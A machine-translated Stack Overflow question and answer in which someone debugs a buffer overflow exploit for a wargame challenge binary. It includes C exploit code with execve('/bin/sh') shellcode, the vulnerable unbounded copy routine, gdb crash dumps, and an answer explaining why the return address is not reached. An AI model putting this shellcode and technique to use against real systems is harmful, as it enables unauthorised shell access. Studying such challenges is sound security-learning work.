c - 缓冲区溢出未到达 eip

标签 c buffer-overflow

嗨,我真的陷入了这个问题:这是我的代码,下面是我尝试溢出的代码:

#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0

char sc[]=
        "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
        "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
        char *env[2] = {sc, NULL};
        char buf[B];
        int     i;
        int     *ap = (int*)(buf + A);
        int     ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
        FILE    *file;

        for (i = 0; i < B - 4; i += 4)
        {
               if (i == 136)
                        *ap++ = 0xbffffc64;
                else if (i == 98)
                {
                        *ap++ = "/challenge/app-systeme/.passwd";//edx
                }
                else
                {
                        if (i >= 50)
                        *ap++ = 0x42424242;
                        else if (i < 50)
                        *ap++ = 0xbfffffb1;//0x45454545;
                }
        }

        file = fopen("/tmp/toto/COUCOU", "a+");
        fprintf(file, "%s%s", "USERNAME=", buf);
        fclose(file);

        printf("AAAAWESOME");
        execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}

易受攻击的代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
    char username[128];
    uid_t uid;
    pid_t pid;

};

void cpstr(char *dst, const char *src)
{
    for(; *src; src++, dst++)
    {
        *dst = *src;
    }
    *dst = 0;
}
void chomp(char *buff)
{
    for(; *buff; buff++)
    {
        if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
           *buff = 0;
            break;
        }
    }
}
struct Init Init(char *filename)
{

    FILE *file;
    struct Init init;
    char buff[BUFFER+1];


    if((file = fopen(filename, "r")) == NULL)
    {
        perror("[-] fopen ");
        exit(0);
    }

    memset(&init, 0, sizeof(struct Init));

    init.pid = getpid();
    init.uid = getuid();

    while(fgets(buff, BUFFER, file) != NULL)
    {
        chomp(buff);
        if(strncmp(buff, "USERNAME=", 9) == 0)
        {
            cpstr(init.username, buff+9);
        }
    }
    fclose(file);
    return init;
}
int main(int argc, char **argv)
{
    struct Init init;
    if(argc != 2)
    {
        printf("Usage : %s <config_file>\n", argv[0]);
        exit(0);
    }
    init = Init(argv[1]);
    printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

    return 0;
}

事实上,我无法访问 eip,因为 gdb 通常显示循环中发生了段错误:

esi是溢出后第一个被压垮的寄存器,但我仍然不明白他有什么。

此时这是一个缓冲区大小,我什至可以填充 edi 和 edx,但仍然有什么用?

eip仍然无法访问吗?

通常:

gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0xB7FCFFF4  ECX: 0x42424242  EDX: 0x42424242  o d I t s z a P c 
  ESI: 0xBFFFFC64  EDI: 0x000001FF  EBP: 0xBFFFFC64  ESP: 0xBFFFF8EC  EIP: 0xB7E9CD88                                     
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88:  mov    ecx,DWORD PTR [edx+0x8]
   0xb7e9cd8b:  mov    edx,DWORD PTR [edx]
   0xb7e9cd8d:  cmp    eax,ecx
   0xb7e9cd8f:  cmovg  eax,ecx
   0xb7e9cd92:  test   edx,edx
   0xb7e9cd94:  jne    0xb7e9cd88
   0xb7e9cd96:  repz ret 
   0xb7e9cd98:  nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0  0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3  0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4  0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5  0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6  0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7  0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75

好吧,我似乎忘记提及二进制文件的部分 RELRO 状态。

欢迎更多光。

    (gdb) disas __uflow
    Dump of assembler code for function __uflow:
       0xb7e9d270 <+0>:     push   %esi
       0xb7e9d271 <+1>:     push   %ebx
  ...
       0xb7e9d37c <+268>:   lea    0x0(%esi,%eiz,1),%esi
    => 0xb7e9d380 <+272>:   movzbl (%edx),%eax
       0xb7e9d383 <+275>:   add    $0x1,%edx
 ...
       0xb7e9d3b3 <+323>:   call   0xb7e92ca0
       0xb7e9d3b8 <+328>:   jmp    0xb7e9d2b1 <__uflow+65>
    End of assembler dump.
    (gdb) x/i $eax
       0xb7e9c588 <_IO_file_overflow+424>:  add    %bh,-0x1(%eax)
    (gdb) vim ok
    Undefined command: "vim".  Try "help".
    (gdb) x/i $edx
       0x806c000:   Cannot access memory at address 0x806c000
    (gdb)

有什么东西可以检测到溢出吗?

好了,这个问题已经解决了。但相信我,我不知道我做了什么,如果有人可以给我们所有人上一课,他会很受欢迎。

最佳答案

我没有详 segmentation 析,但看起来你没有溢出main()中的init,你溢出了initInit() 中,但事实证明它具有抗溢出能力,因为在它后面保留了一个 513 字节的缓冲区,将您与要攻击的敏感调用堆栈信息分开。

一旦Init()通过复制操作将此结构体返回给main(),则仅复制sizeof(struct Init)字节,因此它不会将漏洞级联到您想要攻击的功能。

我相信,如果您想在不受任何干扰的情况下触发漏洞,您应该直接覆盖 main()init,将其传递给 Init() 作为指针,如 void Init(char *filename, struct Init *init)

关于c - 缓冲区溢出未到达 eip,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31559092/

相关文章:

c - 获取C中字符的EBCDIC值

security - 缓冲区溢出攻击和 ROP 攻击有什么区别?

c - gdb 显示与代码中不同的地址

c - 指向结构数组的指针数组

使用 C 在 Windows 上捕获和分析音频

c - 异常段错误: Cannot declare variables outside global?

ios - 有没有人成功使用 valgrind 来检查 iOS 的内存问题?

c - 使用缓冲区溢出漏洞运行自己的代码

c++ - 超出数组末尾的写入效果

python - 在 Python 中加载 DLL